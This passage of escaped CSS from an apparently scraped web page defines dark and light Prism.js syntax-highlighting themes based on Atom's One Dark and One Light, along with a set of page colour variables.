38%, 62%);\n   * --hue-5: hsl(355, 65%, 65%);\n   * --hue-5-2: hsl(5, 48%, 51%);\n   * --hue-6: hsl(29, 54%, 61%);\n   * --hue-6-2: hsl(39, 67%, 69%);\n   * --syntax-fg: hsl(220, 14%, 71%);\n   * --syntax-bg: hsl(220, 13%, 18%);\n   * --syntax-gutter: hsl(220, 14%, 45%);\n   * --syntax-guide: hsla(220, 14%, 71%, 0.15);\n   * --syntax-accent: hsl(220, 100%, 66%);\n   * From syntax-variables.less\n   * --syntax-selection-color: hsl(220, 13%, 28%);\n   * --syntax-gutter-background-color-selected: hsl(220, 13%, 26%);\n   * --syntax-cursor-line: hsla(220, 100%, 80%, 0.04);\n   */\n\n  html.theme-dark code[class*=\"language-\"],\n  html.theme-dark pre[class*=\"language-\"] {\n    background: hsl(220, 13%, 18%);\n    color: hsl(220, 14%, 71%);\n    text-shadow: 0 1px rgba(0, 0, 0, 0.3);\n    font-family: \"Fira Code\", \"Fira Mono\", Menlo, Consolas, \"DejaVu Sans Mono\", monospace;\n    direction: ltr;\n    text-align: left;\n    white-space: pre;\n    word-spacing: normal;\n    word-break: normal;\n    line-height: 1.5;\n    -moz-tab-size: 2;\n    -o-tab-size: 2;\n    tab-size: 2;\n    -webkit-hyphens: none;\n    -moz-hyphens: none;\n    -ms-hyphens: none;\n    hyphens: none;\n  }\n\n  /* Selection */\n  html.theme-dark code[class*=\"language-\"]::-moz-selection,\n  html.theme-dark code[class*=\"language-\"] *::-moz-selection,\n  html.theme-dark pre[class*=\"language-\"] *::-moz-selection {\n    background: hsl(220, 13%, 28%);\n    color: inherit;\n    text-shadow: none;\n  }\n\n  html.theme-dark code[class*=\"language-\"]::selection,\n  html.theme-dark code[class*=\"language-\"] *::selection,\n  html.theme-dark pre[class*=\"language-\"] *::selection {\n    background: hsl(220, 13%, 28%);\n    color: inherit;\n    text-shadow: none;\n  }\n\n  /* Code blocks */\n  html.theme-dark pre[class*=\"language-\"] {\n    padding: 1em;\n    margin: 0.5em 0;\n    overflow: auto;\n    border-radius: 0.3em;\n  }\n\n  /* Inline code */\n  html.theme-dark :not(pre) \u003e code[class*=\"language-\"] {\n    padding: 0.2em 0.3em;\n    border-radius: 0.3em;\n    white-space: normal;\n  }\n\n  /* Print */\n  @media print {\n    html.theme-dark code[class*=\"language-\"],\n    html.theme-dark pre[class*=\"language-\"] {\n      text-shadow: none;\n    }\n  }\n\n  html.theme-dark .token.comment,\n  html.theme-dark .token.prolog,\n  html.theme-dark .token.cdata {\n    color: hsl(220, 10%, 40%);\n  }\n\n  html.theme-dark .token.doctype,\n  html.theme-dark .token.punctuation,\n  html.theme-dark .token.entity {\n    color: hsl(220, 14%, 71%);\n  }\n\n  html.theme-dark .token.attr-name,\n  html.theme-dark .token.class-name,\n  html.theme-dark .token.boolean,\n  html.theme-dark .token.constant,\n  html.theme-dark .token.number,\n  html.theme-dark .token.atrule {\n    color: hsl(29, 54%, 61%);\n  }\n\n  html.theme-dark .token.keyword {\n    color: hsl(286, 60%, 67%);\n  }\n\n  html.theme-dark .token.property,\n  html.theme-dark .token.tag,\n  html.theme-dark .token.symbol,\n  html.theme-dark .token.deleted,\n  html.theme-dark .token.important {\n    color: hsl(355, 65%, 65%);\n  }\n\n  html.theme-dark .token.selector,\n  html.theme-dark .token.string,\n  html.theme-dark .token.char,\n  html.theme-dark .token.builtin,\n  html.theme-dark .token.inserted,\n  html.theme-dark .token.regex,\n  html.theme-dark .token.attr-value,\n  html.theme-dark .token.attr-value \u003e .token.punctuation {\n    color: hsl(95, 38%, 62%);\n  }\n\n  html.theme-dark .token.variable,\n  html.theme-dark .token.operator,\n  html.theme-dark .token.function {\n    color: hsl(207, 82%, 66%);\n  }\n\n  html.theme-dark .token.url {\n    color: hsl(187, 47%, 55%);\n  }\n\n  /* HTML overrides */\n  html.theme-dark .token.attr-value \u003e .token.punctuation.attr-equals,\n  html.theme-dark .token.special-attr \u003e .token.attr-value \u003e .token.value.css {\n    color: hsl(220, 14%, 71%);\n  }\n\n  /* CSS overrides */\n  html.theme-dark .language-css .token.selector {\n    color: hsl(355, 65%, 65%);\n  }\n\n  html.theme-dark .language-css .token.property {\n    color: hsl(220, 14%, 71%);\n  }\n\n  html.theme-dark .language-css .token.function,\n  html.theme-dark .language-css .token.url \u003e .token.function {\n    color: hsl(187, 47%, 55%);\n  }\n\n  html.theme-dark .language-css .token.url \u003e .token.string.url {\n    color: hsl(95, 38%, 62%);\n  }\n\n  html.theme-dark .language-css .token.important,\n  html.theme-dark .language-css .token.atrule .token.rule {\n    color: hsl(286, 60%, 67%);\n  }\n\n  /* JS overrides */\n  html.theme-dark .language-javascript .token.operator {\n    color: hsl(286, 60%, 67%);\n  }\n\n  html.theme-dark .language-javascript .token.template-string \u003e .token.interpolation \u003e .token.interpolation-punctuation.punctuation {\n    color: hsl(5, 48%, 51%);\n  }\n\n  /* JSON overrides */\n  html.theme-dark .language-json .token.operator {\n    color: hsl(220, 14%, 71%);\n  }\n\n  html.theme-dark .language-json .token.null.keyword {\n    color: hsl(29, 54%, 61%);\n  }\n\n  /* MD overrides */\n  html.theme-dark .language-markdown .token.url,\n  html.theme-dark .language-markdown .token.url \u003e .token.operator,\n  html.theme-dark .language-markdown .token.url-reference.url \u003e .token.string {\n    color: hsl(220, 14%, 71%);\n  }\n\n  html.theme-dark .language-markdown .token.url \u003e .token.content {\n    color: hsl(207, 82%, 66%);\n  }\n\n  html.theme-dark .language-markdown .token.url \u003e .token.url,\n  html.theme-dark .language-markdown .token.url-reference.url {\n    color: hsl(187, 47%, 55%);\n  }\n\n  html.theme-dark .language-markdown .token.blockquote.punctuation,\n  html.theme-dark .language-markdown .token.hr.punctuation {\n    color: hsl(220, 10%, 40%);\n    font-style: italic;\n  }\n\n  html.theme-dark .language-markdown .token.code-snippet {\n    color: hsl(95, 38%, 62%);\n  }\n\n  html.theme-dark .language-markdown .token.bold .token.content {\n    color: hsl(29, 54%, 61%);\n  }\n\n  html.theme-dark .language-markdown .token.italic .token.content {\n    color: hsl(286, 60%, 67%);\n  }\n\n  html.theme-dark .language-markdown .token.strike .token.content,\n  html.theme-dark .language-markdown .token.strike .token.punctuation,\n  html.theme-dark .language-markdown .token.list.punctuation,\n  html.theme-dark .language-markdown .token.title.important \u003e .token.punctuation {\n    color: hsl(355, 65%, 65%);\n  }\n\n  /* General */\n  html.theme-dark .token.bold {\n    font-weight: bold;\n  }\n\n  html.theme-dark .token.comment,\n  html.theme-dark .token.italic {\n    font-style: italic;\n  }\n\n  html.theme-dark .token.entity {\n    cursor: help;\n  }\n\n  html.theme-dark .token.namespace {\n    opacity: 0.8;\n  }\n\n  /* Plugin overrides */\n  /* Selectors should have higher specificity than those in the plugins' default stylesheets */\n\n  /* Show Invisibles plugin overrides */\n  html.theme-dark .token.token.tab:not(:empty):before,\n  html.theme-dark .token.token.cr:before,\n  html.theme-dark .token.token.lf:before,\n  html.theme-dark .token.token.space:before {\n    color: hsla(220, 14%, 71%, 0.15);\n    text-shadow: none;\n  }\n\n  /* Toolbar plugin overrides */\n  /* Space out all buttons and move them away from the right edge of the code block */\n  html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item {\n    margin-right: 0.4em;\n  }\n\n  /* Styling the buttons */\n  html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button,\n  html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a,\n  html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span {\n    background: hsl(220, 13%, 26%);\n    color: hsl(220, 9%, 55%);\n    padding: 0.1em 0.4em;\n    border-radius: 0.3em;\n  }\n\n  html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button:hover,\n  html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button:focus,\n  html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a:hover,\n  html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a:focus,\n  html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span:hover,\n  html.theme-dark div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span:focus {\n    background: hsl(220, 13%, 28%);\n    color: hsl(220, 14%, 71%);\n  }\n\n  /* Line Highlight plugin overrides */\n  /* The highlighted line itself */\n  html.theme-dark .line-highlight.line-highlight {\n    background: hsla(220, 100%, 80%, 0.04);\n  }\n\n  /* Default line numbers in Line Highlight plugin */\n  html.theme-dark .line-highlight.line-highlight:before,\n  html.theme-dark .line-highlight.line-highlight[data-end]:after {\n    background: hsl(220, 13%, 26%);\n    color: hsl(220, 14%, 71%);\n    padding: 0.1em 0.6em;\n    border-radius: 0.3em;\n    box-shadow: 0 2px 0 0 rgba(0, 0, 0, 0.2); /* same as Toolbar plugin default */\n  }\n\n  /* Hovering over a linkable line number (in the gutter area) */\n  /* Requires Line Numbers plugin as well */\n  html.theme-dark pre[id].linkable-line-numbers.linkable-line-numbers span.line-numbers-rows \u003e span:hover:before {\n    background-color: hsla(220, 100%, 80%, 0.04);\n  }\n\n  /* Line Numbers and Command Line plugins overrides */\n  /* Line separating gutter from coding area */\n  html.theme-dark .line-numbers.line-numbers .line-numbers-rows,\n  html.theme-dark .command-line .command-line-prompt {\n    border-right-color: hsla(220, 14%, 71%, 0.15);\n  }\n\n  /* Stuff in the gutter */\n  html.theme-dark .line-numbers .line-numbers-rows \u003e span:before,\n  html.theme-dark .command-line .command-line-prompt \u003e span:before {\n    color: hsl(220, 14%, 45%);\n  }\n\n  /* Match Braces plugin overrides */\n  /* Note: Outline colour is inherited from the braces */\n  html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-1,\n  html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-5,\n  html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-9 {\n    color: hsl(355, 65%, 65%);\n  }\n\n  html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-2,\n  html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-6,\n  html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-10 {\n    color: hsl(95, 38%, 62%);\n  }\n\n  html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-3,\n  html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-7,\n  html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-11 {\n    color: hsl(207, 82%, 66%);\n  }\n\n  html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-4,\n  html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-8,\n  html.theme-dark .rainbow-braces .token.token.punctuation.brace-level-12 {\n    color: hsl(286, 60%, 67%);\n  }\n\n  /* Diff Highlight plugin overrides */\n  /* Taken from https://github.com/atom/github/blob/master/styles/variables.less */\n  html.theme-dark pre.diff-highlight \u003e code .token.token.deleted:not(.prefix),\n  html.theme-dark pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) {\n    background-color: hsla(353, 100%, 66%, 0.15);\n  }\n\n  html.theme-dark pre.diff-highlight \u003e code .token.token.deleted:not(.prefix)::-moz-selection,\n  html.theme-dark pre.diff-highlight \u003e code .token.token.deleted:not(.prefix) *::-moz-selection,\n  html.theme-dark pre \u003e code.diff-highlight .token.token.deleted:not(.prefix)::-moz-selection,\n  html.theme-dark pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) *::-moz-selection {\n    background-color: hsla(353, 95%, 66%, 0.25);\n  }\n\n  html.theme-dark pre.diff-highlight \u003e code .token.token.deleted:not(.prefix)::selection,\n  html.theme-dark pre.diff-highlight \u003e code .token.token.deleted:not(.prefix) *::selection,\n  html.theme-dark pre \u003e code.diff-highlight .token.token.deleted:not(.prefix)::selection,\n  html.theme-dark pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) *::selection {\n    background-color: hsla(353, 95%, 66%, 0.25);\n  }\n\n  html.theme-dark pre.diff-highlight \u003e code .token.token.inserted:not(.prefix),\n  html.theme-dark pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) {\n    background-color: hsla(137, 100%, 55%, 0.15);\n  }\n\n  html.theme-dark pre.diff-highlight \u003e code .token.token.inserted:not(.prefix)::-moz-selection,\n  html.theme-dark pre.diff-highlight \u003e code .token.token.inserted:not(.prefix) *::-moz-selection,\n  html.theme-dark pre \u003e code.diff-highlight .token.token.inserted:not(.prefix)::-moz-selection,\n  html.theme-dark pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) *::-moz-selection {\n    background-color: hsla(135, 73%, 55%, 0.25);\n  }\n\n  html.theme-dark pre.diff-highlight \u003e code .token.token.inserted:not(.prefix)::selection,\n  html.theme-dark pre.diff-highlight \u003e code .token.token.inserted:not(.prefix) *::selection,\n  html.theme-dark pre \u003e code.diff-highlight .token.token.inserted:not(.prefix)::selection,\n  html.theme-dark pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) *::selection {\n    background-color: hsla(135, 73%, 55%, 0.25);\n  }\n\n  /* Previewers plugin overrides */\n  /* Based on https://github.com/atom-community/atom-ide-datatip/blob/master/styles/atom-ide-datatips.less and https://github.com/atom/atom/blob/master/packages/one-dark-ui */\n  /* Border around popup */\n  html.theme-dark .prism-previewer.prism-previewer:before,\n  html.theme-dark .prism-previewer-gradient.prism-previewer-gradient div {\n    border-color: hsl(224, 13%, 17%);\n  }\n\n  /* Angle and time should remain as circles and are hence not included */\n  html.theme-dark .prism-previewer-color.prism-previewer-color:before,\n  html.theme-dark .prism-previewer-gradient.prism-previewer-gradient div,\n  html.theme-dark .prism-previewer-easing.prism-previewer-easing:before {\n    border-radius: 0.3em;\n  }\n\n  /* Triangles pointing to the code */\n  html.theme-dark .prism-previewer.prism-previewer:after {\n    border-top-color: hsl(224, 13%, 17%);\n  }\n\n  html.theme-dark .prism-previewer-flipped.prism-previewer-flipped.after {\n    border-bottom-color: hsl(224, 13%, 17%);\n  }
872\n\n  /* Background colour within the popup */\n  html.theme-dark .prism-previewer-angle.prism-previewer-angle:before,\n  html.theme-dark .prism-previewer-time.prism-previewer-time:before,\n  html.theme-dark .prism-previewer-easing.prism-previewer-easing {\n    background: hsl(219, 13%, 22%);\n  }\n\n  /* For angle, this is the positive area (eg. 90deg will display one quadrant in this colour) */\n  /* For time, this is the alternate colour */\n  html.theme-dark .prism-previewer-angle.prism-previewer-angle circle,\n  html.theme-dark .prism-previewer-time.prism-previewer-time circle {\n    stroke: hsl(220, 14%, 71%);\n    stroke-opacity: 1;\n  }\n\n  /* Stroke colours of the handle, direction point, and vector itself */\n  html.theme-dark .prism-previewer-easing.prism-previewer-easing circle,\n  html.theme-dark .prism-previewer-easing.prism-previewer-easing path,\n  html.theme-dark .prism-previewer-easing.prism-previewer-easing line {\n    stroke: hsl(220, 14%, 71%);\n  }\n\n  /* Fill colour of the handle */\n  html.theme-dark .prism-previewer-easing.prism-previewer-easing circle {\n    fill: transparent;\n  }\n  \n  1e:T46e0,\n    :root {\n      --color-text-default: rgb(55, 53, 47);\n      --color-text-default-light: rgba(55, 53, 47, 0.6);\n      --color-text-gray: rgb(155, 154, 151);\n      --color-text-brown: rgb(100, 71, 58);\n      --color-text-orange: rgb(217, 115, 13);\n      --color-text-yellow: rgb(223, 171, 1);\n      --color-text-green: rgb(15, 123, 108);\n      --color-text-blue: rgb(11, 110, 153);\n      --color-text-purple: rgb(105, 64, 165);\n      --color-text-pink: rgb(173, 26, 114);\n      --color-text-red: rgb(224, 62, 62);\n\n      --color-bg-default: rgb(255, 255, 255);\n      --color-bg-gray: rgb(235, 236, 237);\n      --color-bg-brown: rgb(233, 229, 227);\n      --color-bg-orange: rgb(250, 235, 221);\n      --color-bg-yellow: rgb(251, 243, 219);\n      --color-bg-green: rgb(221, 237, 234);\n      --color-bg-blue: rgb(221, 235, 241);\n      --color-bg-purple: rgb(234, 228, 242);\n      --color-bg-pink: rgb(244, 223, 235);\n      --color-bg-red: rgb(251, 228, 228);\n\n      --color-bg-gray-light: rgba(235, 236, 237, 0.3);\n      --color-bg-brown-light: rgba(233, 229, 227, 0.3);\n      --color-bg-orange-light: rgba(250, 235, 221, 0.3);\n      --color-bg-yellow-light: rgba(251, 243, 219, 0.3);\n      --color-bg-green-light: rgba(221, 237, 234, 0.3);\n      --color-bg-blue-light: rgba(221, 235, 241, 0.3);\n      --color-bg-purple-light: rgba(234, 228, 242, 0.3);\n      --color-bg-pink-light: rgba(244, 223, 235, 0.3);\n      --color-bg-red-light: rgba(251, 228, 228, 0.3);\n\n      --color-pill-default: rgba(206, 205, 202, 0.5);\n      --color-pill-gray: rgba(155, 154, 151, 0.4);\n      --color-pill-brown: rgba(140, 46, 0, 0.2);\n      --color-pill-orange: rgba(245, 93, 0, 0.2);\n      --color-pill-yellow: rgba(233, 168, 0, 0.2);\n      --color-pill-green: rgba(0, 135, 107, 0.2);\n      --color-pill-blue: rgba(0, 120, 223, 0.2);\n      --color-pill-purple: rgba(103, 36, 222, 0.2);\n      --color-pill-pink: rgba(221, 0, 129, 0.2);\n      --color-pill-red: rgba(255, 0, 26, 0.2);\n\n      --color-ui-hover-bg: rgba(239, 239, 239);\n      --color-card-bg: rgb(255, 255, 255);\n      --color-checkbox-bg: rgb(46, 170, 220);;\n      --color-border-default: rgba(235, 236, 237, 0.8);\n      --color-border-dark: rgba(55, 53, 47, 0.16);\n      --color-code-bg: rgba(239, 239, 239);\n\n      /*Scrollbar*/\n      --scrollbar-background-color: #fafafa;\n      --scrollbar-thumb-color: #c1c1c1;\n      --scrollbar-border-color: #e8e8e8;\n\n      --navbar-text-color: var(--color-text-default);\n      --navbar-background-color: var(--color-bg-default);\n      --navbar-button-text-color: var(--color-text-default);\n      --navbar-button-background-color: var(--color-bg-default);\n      --navbar-menu-background-color: var(--navbar-background-color);\n\n      --footer-text-color: var(--color-text-default);\n      --footer-background-color: var(--color-bg-default);\n      --color-calendar-weekend-bg: #f7f6f3;\n    }\n\n    \n  /**\n   * One Light theme for prism.js\n   * Based on Atom's One Light theme: https://github.com/atom/atom/tree/master/packages/one-light-syntax\n   */\n  \n  /**\n   * One Light colours (accurate as of commit eb064bf on 19 Feb 2021)\n   * From colors.less\n   * --mono-1: hsl(230, 8%, 24%);\n   * --mono-2: hsl(230, 6%, 44%);\n   * --mono-3: hsl(230, 4%, 64%)\n   * --hue-1: hsl(198, 99%, 37%);\n   * --hue-2: hsl(221, 87%, 60%);\n   * --hue-3: hsl(301, 63%, 40%);\n   * --hue-4: hsl(119, 34%, 47%);\n   * --hue-5: hsl(5, 74%, 59%);\n   * --hue-5-2: hsl(344, 84%, 43%);\n   * --hue-6: hsl(35, 99%, 36%);\n   * --hue-6-2: hsl(35, 99%, 40%);\n   * --syntax-fg: hsl(230, 8%, 24%);\n   * --syntax-bg: hsl(230, 1%, 98%);\n   * --syntax-gutter: hsl(230, 1%, 62%);\n   * --syntax-guide: hsla(230, 8%, 24%, 0.2);\n   * --syntax-accent: hsl(230, 100%, 66%);\n   * From syntax-variables.less\n   * --syntax-selection-color: hsl(230, 1%, 90%);\n   * --syntax-gutter-background-color-selected: hsl(230, 1%, 90%);\n   * --syntax-cursor-line: hsla(230, 8%, 24%, 0.05);\n   */\n  \n  html.theme-light code[class*=\"language-\"],\n  html.theme-light pre[class*=\"language-\"] {\n    color: hsl(230, 8%, 24%);\n    font-family: \"Fira Code\", \"Fira Mono\", Menlo, Consolas, \"DejaVu Sans Mono\", monospace;\n    direction: ltr;\n    text-align: left;\n    white-space: pre;\n    word-spacing: normal;\n    word-break: normal;\n    line-height: 1.5;\n    -moz-tab-size: 2;\n    -o-tab-size: 2;\n    tab-size: 2;\n    -webkit-hyphens: none;\n    -moz-hyphens: none;\n    -ms-hyphens: none;\n    hyphens: none;\n  }\n  \n  /* Selection */\n  html.theme-light code[class*=\"language-\"]::-moz-selection,\n  html.theme-light code[class*=\"language-\"] *::-moz-selection,\n  html.theme-light pre[class*=\"language-\"] *::-moz-selection {\n    background: hsl(230, 1%, 90%);\n    color: inherit;\n  }\n  \n  html.theme-light code[class*=\"language-\"]::selection,\n  html.theme-light code[class*=\"language-\"] *::selection,\n  html.theme-light pre[class*=\"language-\"] *::selection {\n    background: hsl(230, 1%, 90%);\n    color: inherit;\n  }\n  \n  /* Code blocks */\n  html.theme-light pre[class*=\"language-\"] {\n    padding: 1em;\n    margin: 0.5em 0;\n    overflow: auto;\n    border-radius: 0.3em;\n  }\n  \n  /* Inline code */\n  html.theme-light :not(pre) \u003e code[class*=\"language-\"] {\n    padding: 0.2em 0.3em;\n    border-radius: 0.3em;\n    white-space: normal;\n  }\n  \n  html.theme-light .token.comment,\n  html.theme-light .token.prolog,\n  html.theme-light .token.cdata {\n    color: hsl(230, 4%, 64%);\n  }\n  \n  html.theme-light .token.doctype,\n  html.theme-light .token.punctuation,\n  html.theme-light .token.entity {\n    color: hsl(230, 8%, 24%);\n  }\n  \n  html.theme-light .token.attr-name,\n  html.theme-light .token.class-name,\n  html.theme-light .token.boolean,\n  html.theme-light .token.constant,\n  html.theme-light .token.number,\n  html.theme-light .token.atrule {\n    color: hsl(35, 99%, 36%);\n  }\n  \n  html.theme-light .token.keyword {\n    color: hsl(301, 63%, 40%);\n  }\n  \n  html.theme-light .token.property,\n  html.theme-light .token.tag,\n  html.theme-light .token.symbol,\n  html.theme-light .token.deleted,\n  html.theme-light .token.important {\n    color: hsl(5, 74%, 59%);\n  }\n  \n  html.theme-light .token.selector,\n  html.theme-light .token.string,\n  html.theme-light .token.char,\n  html.theme-light .token.builtin,\n  html.theme-light .token.inserted,\n  html.theme-light .token.regex,\n  html.theme-light .token.attr-value,\n  html.theme-light .token.attr-value \u003e .token.punctuation {\n    color: hsl(119, 34%, 47%);\n  }\n  \n  html.theme-light .token.variable,\n  html.theme-light .token.operator,\n  html.theme-light .token.function {\n    color: hsl(221, 87%, 60%);\n  }\n  \n  html.theme-light .token.url {\n    color: hsl(198, 99%, 37%);\n  }\n  \n  /* HTML overrides */\n  html.theme-light .token.attr-value \u003e .token.punctuation.attr-equals,\n  html.theme-light .token.special-attr \u003e .token.attr-value \u003e .token.value.css {\n    color: hsl(230, 8%, 24%);\n  }\n  \n  /* CSS overrides */\n  html.theme-light .language-css .token.selector {\n    color: hsl(5, 74%, 59%);\n  }\n  \n  html.theme-light .language-css .token.property {\n    color: hsl(230, 8%, 24%);\n  }\n  \n  html.theme-light .language-css .token.function,\n  html.theme-light .language-css .token.url \u003e .token.function {\n    color: hsl(198, 99%, 37%);\n  }\n  \n  html.theme-light .language-css .token.url \u003e .token.string.url {\n    color: hsl(119, 34%, 47%);\n  }\n  \n  html.theme-light .language-css .token.important,\n  html.theme-light .language-css .token.atrule .token.rule {\n    color: hsl(301, 63%, 40%);\n  }\n  \n  /* JS overrides */\n  html.theme-light .language-javascript .token.operator {\n    color: hsl(301, 63%, 40%);\n  }\n  \n  html.theme-light .language-javascript .token.template-string \u003e .token.interpolation \u003e .token.interpolation-punctuation.punctuation {\n    color: hsl(344, 84%, 43%);\n  }\n  \n  /* JSON overrides */\n  html.theme-light .language-json .token.operator {\n    color: hsl(230, 8%, 24%);\n  }\n  \n  html.theme-light .language-json .token.null.keyword {\n    color: hsl(35, 99%, 36%);\n  }\n  \n  /* MD overrides */\n  html.theme-light .language-markdown .token.url,\n  html.theme-light .language-markdown .token.url \u003e .token.operator,\n  html.theme-light .language-markdown .token.url-reference.url \u003e .token.string {\n    color: hsl(230, 8%, 24%);\n  }\n  \n  html.theme-light .language-markdown .token.url \u003e .token.content {\n    color: hsl(221, 87%, 60%);\n  }\n  \n  html.theme-light .language-markdown .token.url \u003e .token.url,\n  html.theme-light .language-markdown .token.url-reference.url {\n    color: hsl(198, 99%, 37%);\n  }\n  \n  html.theme-light .language-markdown .token.blockquote.punctuation,\n  html.theme-light .language-markdown .token.hr.punctuation {\n    color: hsl(230, 4%, 64%);\n    font-style: italic;\n  }\n  \n  html.theme-light .language-markdown .token.code-snippet {\n    color: hsl(119, 34%, 47%);\n  }\n  \n  html.theme-light .language-markdown .token.bold .token.content {\n    color: hsl(35, 99%, 36%);\n  }\n  \n  html.theme-light .language-markdown .token.italic .token.content {\n    color: hsl(301, 63%, 40%);\n  }\n  \n  html.theme-light .language-markdown .token.strike .token.content,\n  html.theme-light .language-markdown .token.strike .token.punctuation,\n  html.theme-light .language-markdown .token.list.punctuation,\n  html.theme-light .language-markdown .token.title.important \u003e .token.punctuation {\n    color: hsl(5, 74%, 59%);\n  }\n  \n  /* General */\n  html.theme-light .token.bold {\n    font-weight: bold;\n  }\n  \n  html.theme-light .token.comment,\n  html.theme-light .token.italic {\n    font-style: italic;\n  }\n  \n  html.theme-light .token.entity {\n    cursor: help;\n  }\n  \n  html.theme-light .token.namespace {\n    opacity: 0.8;\n  }\n  \n  /* Plugin overrides */\n  /* Selectors should have higher specificity than those in the plugins' default stylesheets */\n  \n  /* Show Invisibles plugin overrides */\n  html.theme-light .token.token.tab:not(:empty):before,\n  html.theme-light .token.token.cr:before,\n  html.theme-light .token.token.lf:before,\n  html.theme-light .token.token.space:before {\n    color: hsla(230, 8%, 24%, 0.2);\n  }\n  \n  /* Toolbar plugin overrides */\n  /* Space out all buttons and move them away from the right edge of the code block */\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item {\n    margin-right: 0.4em;\n  }\n  \n  /* Styling the buttons */\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span {\n    background: hsl(230, 1%, 90%);\n    color: hsl(230, 6%, 44%);\n    padding: 0.1em 0.4em;\n    border-radius: 0.3em;\n  }\n  \n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button:hover,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e button:focus,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a:hover,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e a:focus,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span:hover,\n  html.theme-light div.code-toolbar \u003e .toolbar.toolbar \u003e .toolbar-item \u003e span:focus {\n    background: hsl(230, 1%, 78%); /* custom: darken(--syntax-bg, 20%) */\n    color: hsl(230, 8%, 24%);\n  }\n  \n  /* Line Highlight plugin overrides */\n  /* The highlighted line itself */\n  html.theme-light .line-highlight.line-highlight {\n    background: hsla(230, 8%, 24%, 0.05);\n  }\n  \n  /* Default line numbers in Line Highlight plugin */\n  html.theme-light .line-highlight.line-highlight:before,\n  html.theme-light .line-highlight.line-highlight[data-end]:after {\n    background: hsl(230, 1%, 90%);\n    color: hsl(230, 8%, 24%);\n    padding: 0.1em 0.6em;\n    border-radius: 0.3em;\n    box-shadow: 0 2px 0 0 rgba(0, 0, 0, 0.2); /* same as Toolbar plugin default */\n  }\n  \n  /* Hovering over a linkable line number (in the gutter area) */\n  /* Requires Line Numbers plugin as well */\n  html.theme-light pre[id].linkable-line-numbers.linkable-line-numbers span.line-numbers-rows \u003e span:hover:before {\n    background-color: hsla(230, 8%, 24%, 0.05);\n  }\n  \n  /* Line Numbers and Command Line plugins overrides */\n  /* Line separating gutter from coding area */\n  html.theme-light .line-numbers.line-numbers .line-numbers-rows,\n  html.theme-light .command-line .command-line-prompt {\n    border-right-color: hsla(230, 8%, 24%, 0.2);\n  }\n  \n  /* Stuff in the gutter */\n  html.theme-light .line-numbers .line-numbers-rows \u003e span:before,\n  html.theme-light .command-line .command-line-prompt \u003e span:before {\n    color: hsl(230, 1%, 62%);\n  }\n  \n  /* Match Braces plugin overrides */\n  /* Note: Outline colour is inherited from the braces */\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-1,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-5,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-9 {\n    color: hsl(5, 74%, 59%);\n  }\n  \n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-2,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-6,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-10 {\n    color: hsl(119, 34%, 47%);\n  }\n  \n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-3,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-7,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-11 {\n    color: hsl(221, 87%, 60%);\n  }\n  \n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-4,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-8,\n  html.theme-light .rainbow-braces .token.token.punctuation.brace-level-12 {\n    color: hsl(301, 63%, 40%);\n  }\n  \n  /* Diff Highlight plugin overrides */\n  /* Taken from https://github.com/atom/github/blob/master/styles/variables.less */\n  html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix),\n  html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) {\n    background-color: hsla(353, 100%, 66%, 0.15);\n  }\n  \n  html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix)::-moz-selection,\n  html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix) *::-moz-selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix)::-moz-selection,\n  html.theme-light pre \u003e code.diff-highlight 